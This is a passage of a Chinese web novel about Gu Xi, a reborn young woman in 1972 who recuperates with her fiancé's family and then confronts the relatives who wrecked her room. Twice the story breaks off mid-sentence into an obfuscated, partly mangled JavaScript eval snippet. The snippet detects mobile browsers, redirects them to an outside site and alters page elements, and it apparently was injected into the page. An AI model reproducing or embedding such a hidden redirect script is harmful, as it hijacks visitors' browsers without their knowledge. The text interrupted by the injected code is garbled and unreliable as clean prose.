和她在顾家住的房间比,这个房间的面积不仅大,东西也多,从细节之处能看出这是一个女孩子的房间,是精心布置过的。 顾家人口不少,顾溪当年回到顾家时,顾家的房间已经住满人,不管挪出谁的房间给她都不好,便将二楼拐角的小书房收拾出来给她住。 沈家这边,沈重山的级别摆在那里,住的是二层小楼,还有一个院子。 他们并不和长辈一起住,家里的人口简单,只有沈重山、冯敏夫妻,沈明峥、沈明嵘兄弟,和做家务的王婶。 沈明峥在部队,一年到头都不回来一次,上次回来还是两年前。 沈家人少,房间也多,加上顾溪是女孩子,便将向阳的房间给她住,就算她平时不怎么来也留着。 当初冯敏打算收养顾溪时,就是拿她当女儿看待,这个房间也是那时候特地为她准备的。 顾溪没有赖床,换好衣服便下楼。 时间不早,沈重山夫妻早已经出门,家里只有王婶在。 厨房里正在熬药,屋里飘着一股浓郁的中药味,并不怎么好闻,这也是顾溪每次过来,都要闻到的味道。 “婶子,早。”顾溪问候。 王婶先是摸摸她的额头,高兴地道:“太好了,今天没烧起来,应该是好了。” 说着让她到餐桌坐下,将早餐端过来。 王婶知道顾溪生病这几天的胃口不好,便给她做了肉粥,粥熬出米油,混着新鲜的猪肉糜,肉糜与米粒混合在一起,浓稠鲜香,简单地洒点薄盐都是无比的美味。 “今天后勤那边送来了一只鸡,我给你煲鸡汤,要好好补身体。” 她一脸怜惜地看着顾溪苍白的脸,觉得比上次见时又瘦了点,下巴更尖了,好看是好看,但年轻女同志还是要丰润点才健康。 顾溪朝她笑,笑容恬静,看起来很乖:“谢谢婶子。” 王婶怜爱地摸摸她的脑袋,作长辈的就喜欢这种乖巧文静贴心的女孩子,白净漂亮,多看一眼都要心软。 当然,更多的还是这孩子确实是个好的,几年相处下来,渐渐地将她当成了自家孩子看待,而且以后她是要嫁到沈家的,可不就是自家的孩子嘛。 顾溪喝粥时,王婶坐在旁边,她也没闲着,正拿着一件衣服缝补。 顾溪认出这是沈明嵘的衣服,男孩子好动,成天疯跑,最废衣物,好好的衣服没穿多久就磨损裂开,时不时要缝补一番。 “婶子,明嵘呢?”顾溪询问。 “在老爷子那边呢,刚放假就过去了,说要去陪老爷子和老太太几天。”王婶笑呵呵的,“明嵘是个好孩子,嘴巴又甜,老太太喜欢他陪伴,要在那边多住几天。” 沈重山夫妻育有两子,当年生长子沈明峥时,冯敏伤了身体,原本以为不能再生,哪知道长子都大了,突然又怀孕,生下沈明嵘。 沈明嵘今年十岁,正是半大小子,平时十分活泼好动,有使不完的精力,每当放假时,和大院里的一群小伙子们到处疯玩,整天不着家。 沈重山夫妻俩都忙,没时间管教他,便丢到老爷子那边,由老人家管教一番,顺便陪陪老爷子夫妻俩。 吃完粥,喝了药,顾溪被王婶催着回房休息。 王婶和她说:“你姨让你这几天在这里好好休息,先别回去了,等你身体好了,她陪你一起回顾家。” 这意思两人都了然,肯定是要去顾家给她撑腰。 顾溪沉默了下,然后应下。 她确实也没急着回去。 顾溪这一天哪都没去,按时吃饭喝药,然后回房休息。 身体确实还很虚弱,很快就浑浑噩噩地睡过去,睡梦中,仿佛自己还是阿飘,被全世界拒绝,隔着无形的界限,在维度之外,默默地看着时光流逝,看着时境变迁,看着这个世界翻天覆地变化,看着国家腾飞…… 突然,她看到自己的尸体。 得知她死讯的冯敏当场晕厥过去,醒来后哭得肝肠寸断,可她明明在一旁,却没有人能看到自己,无法安慰伤心的冯姨…… 敲门声将她惊醒,顾溪猛地坐起身,呼吸急促,满头大汗。 冯敏推门进来,看到她惊悸的模样,吓了一跳,赶紧给她拍抚心口,唤着她的名字,嘴里唠念着:“摸摸毛、吓不着……” 顾溪紧绷的身体渐渐地放松下来。 看到她脸上的担心,勉强压下心口窒息般的悸怕,小声说:“冯姨,我没事。” “真的?”冯敏打量她,觉得这孩子身上好像发生什么变化,看起来很…… 在顾溪再三保证后,冯敏没再揪着,说道:“小王说你睡了一天,起来吃些东西再睡。” 顾溪应一声。 - 两人下楼,便见沈重山已经坐在餐桌前等她们。 在两人入坐后,王婶将做好的饭菜端出来,其中便有给顾溪熬的鸡汤,用砂锅文火熬了大半天,熬得骨酥肉烂,鸡汤金黄,十分鲜美。 冯敏叫她多喝点,将身体补回来。 吃过晚饭,冯敏拉着顾溪在客厅沙发坐下,和她聊天。 沈重山坐在一旁,拿着报纸看。 王婶端来药,说道:“还有几副药,这次溪溪就多住几天,将这些药喝完。” 顾溪其实不怎么喜欢喝中药,相信只要是味觉正常的人,应该没多少人能喜欢得起来。但这是冯敏特地找军区医院的老医生给她开的,为她调理身体,每次她来这边,都会给她熬几副中药。 不愿意辜负长辈的好意,顾溪屏着气一口灌完。 冯敏拿了块糖塞进她嘴里,看她腮帮子被糖块撑得鼓起一个小包,难得露出孩子气的一面,不由有些好笑。 沈重山看了一眼,见两人坐在一起说话,亲密得像母女似的,暗暗摇头。 他知道妻子一直想生个女儿,可惜当年长子出生时伤了身体,以为不能再生,哪知道会再怀孕,却生出个带把的。 不过妻子的年纪大了,就算她想生,他也不敢让她生。 冯敏拉着顾溪说话,问她暑假过得怎么样,然后又嗔怪她,放假都不过来看看他们。 “我是打算过几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171178|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来看你们的。”顾溪有些不好意思。 以前她不想总是过来打扰,就算和沈家有婚约,总跑未来婆家也不是事,每次她来沈家时,父母的神色不太好,顾远辉还会阴阳怪气地说她不知廉耻,还没嫁人呢就一心往婆家跑,是不是想男人之类的。 她也怕影响不好,会给沈家添麻烦,能不来就不来。 冯敏哪里不知道,肯定又是顾家人说了什么,懒得理会,转而问道:“你以后要多注意,身体是革命的本钱,别让自己病了,就算生病也不要乱跑,在家好好休息。” 想到她昨天发烧跑过来,难免生气。 人都烧成这样,顾家居然没一个人拦着她出门,也不知道是故意没看到,还是漠不关心。 顾溪乖巧地应下,小声地说:“只是想冯姨了……” 冯敏听得高兴,但更多还是担心她的身体,叮嘱道:“这几天你就在这里住着,让小王给你养养身体,过些日子我们再送你回去。” 顾溪呆了下,迟疑地看向坐在那边看报纸的沈重山,忙道:“不用不用,我自己回去……” 沈重山夫妻都是大忙人,有自己的工作,她不能总是麻烦他们。 “没事。”冯敏笑眯眯的,“咱们很久没登门了,正好有些事想和你爸妈聊聊。” 顾溪看她,知道这句“有些事想和你爸妈聊聊”很有问题,见沈重山不说话,便知道他是默许的。 又拉了会儿家常,冯敏想到什么,突然问:“溪溪,你高中已经毕业,接下来有什么想法?想读大学吗?我们这里有一个工农兵推荐大学的名额,可以推荐你去……” 顾远湘现在读的就是工农兵大学。 当时顾家正好有一个名额,而顾溪还在读高中,便给了顾远湘。 冯敏对顾溪是疼爱的,如果她想继续读书,那就让她读,以后她就是大学生,看谁还敢嘲笑她是乡下土妞。如果她不想,那也没事,给她安排个工作,正好让她从顾家搬出来,省得在顾家受委屈。 当然,如果这两样她都不选,还可以结婚,毕竟两个孩子的年纪也不小了…… 顾溪摇头:“冯姨,我暂时不想继续读书。” 虽然当了阿飘,但也让她看到这个国家的未来,知道高考会恢复。以后世的眼光来看,工农兵推荐上大学的含金量太低,很难学到东西,不如等高考恢复后再去考大学。 现在是七二年,只要再等五年就好,到时候她才二十五岁,这个年纪上大学也不算迟。 冯敏尊重她的想法,“那就先去找个工作,我给你留意一下。” 顾溪想说什么,看她脸上的笑意,将话咽下。 晚上睡觉时,冯敏和沈重山商量让长子沈明峥回来一趟。 沈重山问:“做什么?” “当然是商量他和溪溪的婚事。”冯敏嗔怪一声,“溪溪已经毕业,就算找着工作,如果她还留在京市,和顾家那群人抬头不高低头见,不如让他们结婚,让溪溪彻底脱离顾家,到时候她就是我的儿媳妇,看顾家还敢不敢欺负她!” 这年头,主流是嫁出去的女儿泼出去的水,娘家不好插手女儿的事。 甚至女儿回娘家,还要当客人敬着。 看冯敏一副护犊子的模样,沈重山哪里不明白她的意思。 不过长子的年纪确实不小了,顾溪也二十岁,到结婚的年纪。 “也行。”沈重山思索着,“明天我给儿子那边的部队打个电话,和他说一声。” 5. 第 5 章 第二天,沈重山亲自给沈明峥所在的部队打电话,却得知他出任务去了,不知道什么时候回来。 冯敏十分失望,只好作罢。 顾溪不知道这些,她在沈家休养了三天。 这三天仍是过得浑浑噩噩的,提不起力气,大半时间都在睡,仿佛将过去当阿飘的几十年无法入睡的时间都补回来。 沈家人不清楚,还以为她这次病得厉害,心里暗暗担心。 第三天时,沈明嵘回来了。 送他回来的是沈老爷子的警卫员,将人送到就离开了。 沈明嵘哒哒哒地走进来,见到坐在沙发上喝药的顾溪,双眼一亮,欢快地扑过来:“溪姐,你几时来的?早知道你在,我就回来了。” 虽然在爷爷家挺好的,但老爷子喜欢用部队练兵的法子操练家里的孩子,要求他们和军人一样作息,还要体能训练,对爱玩爱睡懒觉的小孩儿而言实在太痛苦。 不过奶奶很爱护他,会和爷爷吵架,还是有些安慰的。 家里还有堂哥带他疯玩,差点就乐不思蜀。 顾溪朝他微笑,伸手抱住扑过来的男孩。 十岁的男孩养得很壮实,天天跟着堂哥跑操,冲过来像个小炮弹,看得王婶一颗心都提起来。 幸好顾溪抱得很稳,没被他撞倒在地。 当年冯敏回乡探亲时,带着小儿子沈明嵘一起,五岁的男孩乍见母亲出事,被吓坏了,是顾溪全程陪着他,安慰他,对顾溪有一种依恋。 冯敏会生出想要收养顾溪的念头,也是沈明嵘先提起的,沈明嵘说想要个姐姐。 两人虽不是亲姐弟,感情好得像姐弟一样。 王婶将切好的水果端出来,看两人窝在沙发叽叽喳喳地说话,不免有些好笑。 说话的都是沈明嵘,顾溪负责倾听。 沈明嵘小小年纪就是个话唠,有时候唠叨得连亲妈都嫌他烦,只有顾溪从来不嫌弃,反而很爱听他说话。 “溪姐溪姐,我这次去爷爷家摸到好东西了,你猜是什么?”沈明嵘一脸兴奋,很有分享欲。 顾溪顺着他的话道:“我猜不着,你告诉我吧。” 果然男孩儿的倾诉欲得到满足,小嘴叭叭叭地说:“成哥和启哥带我去郊区的打靶基地,我摸到大家伙……” 顾溪惊讶,看他红扑扑的脸,有些理解。 男孩子对那些兵器本就有一种天然的喜爱,更不用说沈家这样的家庭,从小耳濡目染,会喜欢也正常。 “没伤着吧?”她担心地问,打量身边的男孩子。 “没呢。”沈明嵘撇嘴,“启哥和成哥只让我摸了几下,没给我上手,说要等我像他们这么大才给我碰。” 沈明嵘嘴里的启哥是沈明启,沈家长房的幼子,比沈明嵘大八岁。 另一个成哥和沈明启一样都是大院的孩子,父亲是旅政委,这些孩子从小一起长大,关系不一般。 两人正说着话,冯敏夫妻下班回来了。 沈明嵘看到亲妈,像只轻快的花蝴蝶扑过去,热情地给他妈一个拥抱,嘴甜地说:“妈,你最爱的小儿子回来啦,高不高兴?”然后又朝他爸甜甜地笑,“爸,你最爱的小儿子回来了。” 沈重山拧眉,一脸严肃:“站好,成何体统。” 至于“最爱的小儿子”什么的,当作没听到,无法理解这孩子为什么能将这种情啊爱啊的话挂在嘴上,太不正经了,也不知道从哪里学来的。 幸好也只在家人面前说,在外面时还是比较正经。 沈明嵘迅速站好,并敬了个军礼,看着似模似样的。 不过等沈重山转头,马上原形毕露,轻快地拉着他妈的手,叽叽喳喳地说个没完,整个屋子都是他的声音,听得冯敏脑壳疼,像是有好几只蜜蜂在耳边嗡嗡嗡地叫。 她拍了下儿子的小脑瓜,“行了行了,你别张嘴,安静点。” 沈明嵘被他妈嫌弃,顿时不高兴,哼了一声,跑去拉着顾溪说话。 顾溪笑着摸摸他的脑袋,然后去厨房帮忙王婶做饭,只是刚待一会儿,就被王婶撵出来。 “你的身体还没好呢,去歇着,别累着了。” 沈家人不多,王婶一个人完全能做好所有的饭菜,哪里需要她帮忙。 沈明嵘听到这话,仰起小脸看顾溪。 沈重山夫妻是标准的俊男美女,生出来的孩子也好看,十岁的沈明嵘已经是个小帅哥,大院里的女娃都喜欢找他玩。 他拧着小眉头说:“溪姐,你又生病了吗?” “呃……其实差不多好了。”顾溪强调,“只是意外。” 男孩儿小大人般地叹气,“那你要好好照顾自己,可别再生病,生病不好受,还要吃苦药。” 想到顾溪喝的那一碗碗黑漆漆的苦药汁,看她的眼神敬佩又怜悯。 溪姐能面不改色地灌下,简直就是女英雄。 吃饭时,沈明嵘的嘴巴依然没停歇,一边吃一边说在爷爷家做了什么,玩了什么,吃了什么,见了什么人…… 沈重山夫妻俩都不用特地问,就从小儿子这里得知他最近生活得怎么样。 吃过饭,一群人坐在沙发聊天。 突然,沈明嵘说:“妈,奶奶问我哥啥时候回来?” “怎么了?”冯敏顺嘴问一声,“你奶奶要找明峥?” 沈明嵘大声说:“是啊,奶奶说我哥老大不小,是该取娶媳妇了。溪姐已经毕业,是不是要和我哥结婚了?” 顾溪一口药呛住,咳得惊天动地。 冯敏赶紧给她拍背,瞪了小儿子一眼,让他别当着姑娘家的面说这种事,不是让人家害臊嘛。 年轻姑娘脸皮薄,就算提也不能这么直接。 沈明嵘被亲妈瞪得一脸茫然,挠了挠脑袋,然后看向亲爸。 沈重山竖起报纸,不想理这个不会看脸色的小儿子。 顾溪好不容易缓过来,赶紧将剩下的药喝完,便回房去了。 楼下,冯敏在教训小儿子,让他以后说话别那么直接,顾溪脸皮薄,不能这么当面问。 沈明嵘不解:“可溪姐和我哥不是有婚约嘛?迟早要结婚的!” 冯敏伸手指了指他,无奈地拍了拍自己的额头。 这就是她 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回到房里,她也在想这事。 想起上辈子自己死后,沈明峥因她的死终身不娶,心里有些涩然。 当初定下这桩婚约时,沈重山夫妻都没有询问沈明峥的意愿,就这么定下了。 这五年,她和沈明峥只见过两次面。 一次是定下婚约那天,一次是两年前,每次沈明峥都是来去匆匆,在家没待一个晚上就离开。 要说他们有什么感情,那肯定不是。 沈家男人都是有责任和担当的,品性无可挑剔,也正是如此,沈明峥会为她的死愧疚,最后终身不娶,确实正常。 她的身体不好,也不知道自己这辈子还会不会早死,肯定不能再耽搁沈明峥,这桩婚约一开始就不应该存在。 其实当年如果被沈家收养,成为冯姨的义女也是挺好的,根本不需要牺牲沈明峥的婚事。 可惜就差那么点。 虽然心里纠结,不过因为沈明峥没回来,顾溪面上没显露什么。 喝了好几天的中药,觉得自己的身体好一些,便准备离开。 “你要回去?”冯敏满脸不赞成,“回去做什么?反正现在是暑假,不如留在这里,给明嵘补习功课,省得这小子成天疯玩。” 虽然恼顾家那群人偏心,想陪她回去给她撑腰,不过她更希望顾溪住在这边,远离那些人,过好自己的生活,好好调养身体。 顾溪想了想,“那我回去带点行李过来。”沈家这边虽然有换洗的衣物,但她平时只在这边住一两天,要是长住东西就不够了。 “行啊。”冯敏笑道,“明天我请假陪你回去。” “不用不用,我自己一个人就行。”顾溪赶紧拒绝。 见她坚持,冯敏只好作罢,说道:“那你回去收拾点东西就过来,改天休息,我带你去医院给医生看看。” 顾溪的身体不如正常人健康,容易生病,是因为从小没养好,需要好好调理。 顾溪迟疑了下,说道:“我想处理点事,过几天再来。” 6. 第 6 章 吃过早餐,顾溪准备出门。 沈明嵘像只小跟屁虫似的跟在她身后,一边问道:“溪姐、溪姐,要不要我陪你回去?” 顾溪转头看向身后的男孩儿,哪里不知道他的关心,故意道:“我回去有事,要回去住个几天呢,你要跟我一起?” “可以啊!”沈明嵘精神抖擞,握着小拳头,“我可以帮你打坏人。” 顾溪愣了下,说道:“不用,你还小呢,而且顾家也没有坏人。” 只是一些讨厌的陌生人罢了,既然是讨厌的陌生人,打了也没有负罪感。 沈明嵘一脸“你别骗我”的表情,他的年纪虽然小,但也不是傻子,哪里看不出顾家那些人对她的态度如何,根本没拿她当女儿和姐妹看,还嫌弃她以前在乡下待过丢他们的脸。 有时候他还会听到他妈和他爸叨念顾家人做事不地道,对她不好,听得他都想将溪姐留在自己家算了,省得她回顾家被欺负。 在他心里,溪姐身体不好,瘦瘦弱弱的,那些顾家人指不定仗着她脾气好,不知道怎么欺负她,需要他的保护。 全然不知顾溪这次过来做了什么,并不是他以为的被欺负的包子。 面对保护欲膨胀的男孩儿,顾溪有些想笑,十分窝心。 正是因为知道沈家人是真心爱护她、在意她,所以她并不在意顾家人的偏心和冷待,他们不喜欢她,但沈家人喜欢她,这就够了。 这世间之事没有十全十美,不能强求太多,这是她死后悟出来的道理。 摸了摸沈明嵘的脑袋,顾溪让他好好待在家,别和大院里的孩子打架,过几天她就过来。 “我才不会打架呢。”沈明嵘嘀咕一声,然后又怀疑地问,“你真的会过来?” 她每次都是隔好久才来一次,只住一晚就离开,不肯多住几天,让他十分失落。这次顾溪在家里住了好些天,是因为她生病之故,现在她病好了,估计又要走了。 明明他们都不在意她住多久,也希望她能住久一些,但她好像很担心会被人说闲话,对大家都不好。 让他说,她就是爱想太多。 顾溪保证道:“会来的,我还要给你补习功课呢。” 其实沈明嵘的功课很好,并不需要她补习,冯敏这么说,只是想让她没负担,也让沈明嵘别成天往外跑,和大院里的孩子打群架。 别看沈明嵘成天笑呵呵的,嘴甜又爱笑,像个小甜豆,骨子里仍有沈家人的血性,又是男孩子,多少有些好斗。 大院里的孩子有些出身差不多,很少会服人,有时候闹矛盾了,那就打一架解决,打架是常态。 沈明嵘皱起脸,但想到能让顾溪过来住,只好道:“那也行,到时候你教我数学吧。” 他觉得自己牺牲得实在太多了,等爸妈回来,要让他们给他多点零花钱才行。 ** 刚走出军区大院,便见一群骑着二八大杠自行车的年轻人呼啸着路过。 顾溪往旁边避了避。 哪知为首的年轻人突然停下,一条长腿点地,一双眼睛放肆地朝她看过来,目光在她脸上转了转。 其他人见他停下,也跟着停下,一副看热闹的表情。 看清楚顾溪的模样时,他们都哇的叫出声。 虽然大院里也不缺年轻漂亮的女同志,但长得这么漂亮文静的,还是极为少见的,明明只是简单的白衬衫和黑裤子,偏偏让她穿出不一样的感觉,站在那里,幽幽静静的,让人无法不在意。 这群年轻人大多都是没超过二十的少年人,这年纪的男生心思躁动,很少能抗拒漂亮出众的异性。 更不用说眼前的姑娘看着很乖,那种又乖又纯的感觉,能直击少年人的心,有几个脸都红了。 “咦,你是……沈明嵘他姐?” 为首的年轻人这话刚落,周围的人就心知肚明地笑起来。 淮哥居然知道人家是谁家的,不会是看上了吧? 有人道:“淮哥,你傻啦,沈明嵘哪里有姐,这是沈明嵘的嫂子,和那个沈明峥有婚约的。” 这话一出,众人心中一突,下意识地往后退了退,心生畏惧。 虽然都是大院子弟,但也是有区别的,撇开父辈的身份地位不谈,大院出身的沈明峥绝对是同辈中的佼佼者、别人家的孩子,纵使他少年时就去了部队,很少回来,大院里依然有很多关于他的传说。 在这群年轻人心里,沈明峥就像一座无法逾越的高山、只能仰望的存在。 他们虽然和沈明峥不是同龄的,但谁家没几个哥姐之类的,这些都是被同龄的沈明峥碾压着长大的,以前没少在弟妹面前嘀咕沈明峥,也让他们记在心里。 知道这是沈明峥的未婚妻,他们可不敢造次。 一群人讪讪地笑着,忙道:“淮哥,咱们不是有事嘛,赶紧走吧。” 生怕周淮岷对人家女同志做什么,众人纷纷附和,要知道周淮岷的爷爷也是老革命,和沈老爷子是战友,周家并不比沈家差。 其他人不敢招惹沈明峥,但周淮岷可没这顾虑。 周淮岷看这群人胆小的模样,不由啧了声,目光又在顾溪脸上停留片刻,懒洋洋地问道:“你要去哪?要不要我载你一程?” 他这话听着挺善解人意的,这大热天的在外行走,一路走来还不知道要晒成什么样。 看她纤瘦的模样,那张瓷白又漂亮的脸蛋,都让人担心会不会被晒晕过去。 顾溪平静地看他一眼,“谢谢,不用。” 说着她转身离开,没有多看一眼,神态自然,背脊挺直,没有年轻女孩子面对一群同龄异性时的局促感。 众人看她干脆利落地拒绝,都在心里喝了一声,觉得这姑娘不仅长漂亮,脾气也挺硬的,面对这么多人,不像那些年轻女孩子般害羞闪躲,反而很平静。 感觉就……挺特别,反差有些大。 他们又看向周淮岷,以为这周家的小霸王会恼,哪知道他一脸无所谓。 这是闹哪样? 周淮岷没理这群人,见人离开了,一副没劲的模样,也骑着自行车离开。 - 早上的公车人很多,顾溪选了个角落站着。 在沈家休息几天,她的身体好些了,虽然仍有些虚疲无力之感,却不会影响正常活动,而且她也习惯忍耐了,这点不适不算什么。 公车到站,顾溪随着人流下了车,往家属大院而去。 刚进家属大院,遇到几个买菜回来的大妈大婶,她们热情地和她打招呼。 有大婶问道:“是溪溪啊,最近怎么都不见你?听你爸妈说,你去舅舅家了,是吗?” 这些大妈大婶对顾溪的态度很亲切,其中不乏看戏的意味。 当初顾家暴出孩子抱错的事时,家属大院都轰动了,对顾溪这个在乡下被磋磨了十五年的孩子也挺同情的。 虽然同情孩子,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171180|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妨碍他们看戏,这年头的娱乐少,一点鸡毛蒜皮的事都能引来广泛的关注,更不用说抱错孩子这么稀奇的事。 顾溪回到顾家后,众人也热烈地讨论过一阵,对顾家抱错孩子的事评头论足,对比两个抱错的孩子,旁观顾家的鸡飞狗跳,吃饭都觉得比以往香。 那时候顾溪真是又黑又瘦又矮,完全一副乡下土妞的模样,和被娇养着长大的顾远湘对比惨烈,让人同情之余,觉得她确实比不上顾远湘,畏缩怯懦的模样,穿上布拉吉都觉得上不得台面。 哪知道女大十八变,不过养了几年,从乡下土妞变成大美女,甚至还读了书,上了高中,还是很争气的。 对于顾家接回亲生女儿,又留下养女的事情,众人也没少讨论。 他们能理解顾家舍不得养了十五年的孩子,想要留在身边,不过也有人觉得,顾家不应该留着顾远湘,应该让她回到亲生父母身边。 还有人觉得顾家糊涂,留着顾远湘在顾家,抬头不见低头见,那不是时刻提醒顾溪自己以前受的苦是代顾远湘受的吗?也不知道她有多难受。 同个家属院的,大家都是知根知底。 就算顾家明面上对两个抱错的孩子一视同仁,多少还是能看出些区别,顾家更偏爱养女顾远湘,亲生女儿顾溪回到顾家后,更多时候是被忽略的。 这些天,大伙儿没见到顾溪的身影,发现买菜做饭的人变成江惠君和顾远湘后,便明白顾溪可能不在家。 有人多嘴地问顾溪去哪里,顾家人都说她去舅舅家。 这话有人相信,更多的人不相信。 顾溪是半途回来的,和舅舅家那边根本不怎么往来,怎么会没事跑舅舅家去,估计又有什么事了吧。 这会儿见到顾溪,便有好事者询问。 顾溪心知这是顾家不喜她往沈家跑,所以直接说她是去舅舅家。 她也没反驳,乖巧地一一叫人,便回家了。 刚进家门,就见坐在客厅里听收音的顾远湘,还有一个和顾远湘玩得好的小姐妹陈芸笙,同样是家属院的。 见到顾溪回来,顾远湘呆了下,面色不太好地说:“溪溪,你怎么现在才回来?” 那天顾溪打了人就跑,大家都很生气,等着她回来好教训她。 哪知道她这一走就是好些天,不像以往,就算去沈家,也只是住一晚就回来,让他们等得十分不耐烦。 有些气是要当场发的,当场发不出来,会憋在心里,一直憋一直难受。 这气憋了几天,越憋越难受,顾远湘觉得自己的好脾气都要被磨没,这会儿看到顾溪回来,这口气腾的一声就冒出来。 顾溪没作声,看都没看一眼,转身走了。 她直接上楼,回到自己的房间,推开门进去,发现房间一片混乱,衣服、被子等被随意丢在地上,上面还能看到脚印。书桌上的书也洒了一地,被人撕了好几本,到处都是纸屑,架子也翻倒在地…… 显然是她不在,有人拿她的房间出气。 顾溪弯下腰,将地上散乱的书本一一捡起,就连纸屑她也好好地收着。 在她收拾时,一阵脚步声响起,伴随着顾远辉嚣张的声音:“顾溪,你给我出来,看我不打死你,居然敢打我……” 顾远辉刚回来,得知顾溪终于回家,怒气冲冲地冲进顾溪的房间,哪知道迎面一个东西砸过来,直接砸在他脸上。 他嗷的大叫,痛得捂着脸蹲在地上。 7. 第 7 章 看到顾溪无视她们,冷漠上楼,陈芸笙看向生气的顾远湘,有些尴尬。 今日她来顾家,是找顾远湘商量明天去百货大楼给她妈买生日礼物,哪知道顾溪突然回来。 陈芸笙是家属大院里的姑娘,她爸爸是后勤部的主任,妈妈是制衣厂的干事,家里的孩子不多,只有一个兄长,虽然是女孩子,但父母和兄长都很宠她,是被宠爱着长大的。 她和顾远湘从小认识,一块儿长大,是感情不错的小姐妹。 对于顾家的事,她自然也清楚,就算知道顾远湘不是顾家的女儿,她的态度仍是没有变,将她当好姐妹看待,两人平时玩在一块儿。 陈芸笙和顾溪不熟,不过心里多少还是有些同情顾溪被抱错的事。 这几天她也听人说顾溪不在家,哪知道今天居然碰到她,原本想和她打个招呼的,但人家都没看自己。 以前她来时,顾溪虽然话不多,人却是挺有礼貌的,不像今天这么冷漠。 她爸妈常说,别人家的事少去掺和。 察觉到顾家姐妹俩的情况不太对,她犹豫了下,到底没有问什么,见顾远湘生气的样子,想了想,说道:“远湘,我先走了,明天再来找你。” 顾远湘勉强笑了下,心里有些委屈,忍不住说:“芸笙,溪溪她……” “嗯?” 顾远湘将话咽下,心知如果她将顾溪打人的事说出来,就算陈芸笙不是那种大嘴巴的人,父母要是知道,肯定会生气。 - 陈芸笙离开后不久,顾远辉就回来了。 得知顾溪回来,他脸上的表情一变,满脸戾气,风风火火地朝楼上跑去。 顾远湘赶紧跟上,看顾远辉的神情就知道等会儿顾溪要倒霉,以前就是这样,每次顾远辉针对顾溪时,顾溪被作弄得十分狼狈。 心里有些纠结,不知道要不要劝一劝,万一万远辉做得太过分,父母也会生气…… 就这么纠结着,顾远湘没想到事情发展完全超出自己的预料。 顾远辉刚进门就被一本书砸到脸,那声脆响,一听就知道很疼,估计脸又要肿了。 上次顾远辉被顾溪打了一拳在脸上,这脸肿了好几天,让顾远辉都不敢出门见人,今天好不容易脸上的痕迹完全消了,哪知道又被书砸。 顾远湘很不满,她自诩文明人,就算再生气也不能动手打人啊。 她看向房间里的顾溪,正要说话,就见她手里拿着几本被撕得乱七八糟的书站在那里,冷冷地看过来。当她的目光瞄到房间里的狼藉时,不知怎么的,突然有些心虚。 这时,顾溪说:“我的房间是谁弄的?” 顾远湘没作声,顾远辉捂着脸蹲在地上,还没缓过来。 不过顾溪显然没耐心,只见她将手里的书放到桌上,朝他们走过来,一脚将门口蹲着的顾远辉踹到一旁,一双黑黝黝的眼睛直视顾远湘,冷声道:“说!” 顾远湘被镇住,身体绷直,结结巴巴地说:“是、是……” 是顾远辉做的,不过当时家里人都看着,没有一个人阻止,江惠君嘴上说了几句,便由着他了。毕竟顾远辉被她打了,人又不在跟前,没办法出气,那得让他发泄发泄,反正只是打砸房间,这也不算什么。 但不知怎么的,此时面对顾溪,她莫名有些害怕,说不出口。 顾溪的表情很沉静,是一种近乎冷漠的神色,仿佛他们是陌生人,而不是相处了五年的家人。 更不用说她刚才的举动,拿书砸顾远辉,又一脚将他踹倒在地。 她居然又动手打人!完全没拿顾远辉当弟弟看待。 突然,顾远湘看到顾溪身后的顾远辉一脸狰狞地跳起,朝她撞过来。 顾溪被他撞得往前扑倒,她及时扶住门框,稳住自己,转身就一巴掌打过去,顾远辉被她打飞在地,整个人晕晕乎乎的。 “远辉!”顾远湘吓得大叫。 顾溪过去扯起顾远辉,朝他挥起拳头。 她打得毫无章法,就像乡下的妇女打人,往肉多的地方打,再去扯两把头发,硬生生扯下了一大绺,打得顾远辉嗷嗷地叫着,眼泪鼻涕很快就出来了,哭得不行。 长这么大,顾远辉还是第一次被人打,不是被父母兄长打,居然是被自己一向瞧不起的“姐姐”打。 顾远湘目瞪口呆地看着这一幕,吓得不行,想去阻止又不敢,生怕也被打,只能缩在门口叫道:“别打了,别打了……” 顾溪终于停手,丢下哭得稀里哗啦的顾远辉,走出房间。 顾远湘缩着身子站在一旁,紧张又惶然,看着她走出去,不禁松口气。 只是她发现,这口气松得太早了,当听到隔壁房间传来的声音时,心里有种不好的预感。 顾远辉还在哭,抽抽噎噎的,鼻青脸肿,头皮还秃了一块。 隔壁的动静太大,他也听到了,意识到那是他的房间,挣扎着起身,抹了把鼻涕眼泪,赶紧跑过去。 他们过来时,看到顾溪正在里头发疯,她一把将衣柜掀倒在地,又将床给掀了,然后是书桌、椅子、架子和顾远辉收集的一些玩具之类的,还有一个收音机,啪的一声摔在地上,直接摔烂了。 不过须臾,整个房间像台风过境,一片狼藉。 顾远辉气疯了,大叫道:“你在干什么?” 顾溪一脚踩在地上的一件白衬衫上,留下好大一个脚印,抬头看他:“你砸我的房间,我就砸你的。” 顾远辉扭曲着脸,气得心口疼,但到底不敢扑过去打她,怕自己被她打。 如果说几天前被她揍时,以为自己没来得及防备,那么刚才被她打了一顿,终于明白自己打不过她。顾溪的力气太大了,根本不像个女人,不愧是在乡下干农活挑粪长大的乡巴佬,有一身蛮力。 顾溪砸完东西,朝他们走过去。 门口的两人下意识地退开,缩在一起,生怕她过来打他们。 然而顾溪没动手,因为她去了另一间房间,推开门后就开始砸东西。 顾远湘很害怕,鼓起勇气说:“你干嘛?这是二哥的房间,他没有砸你的房间!” 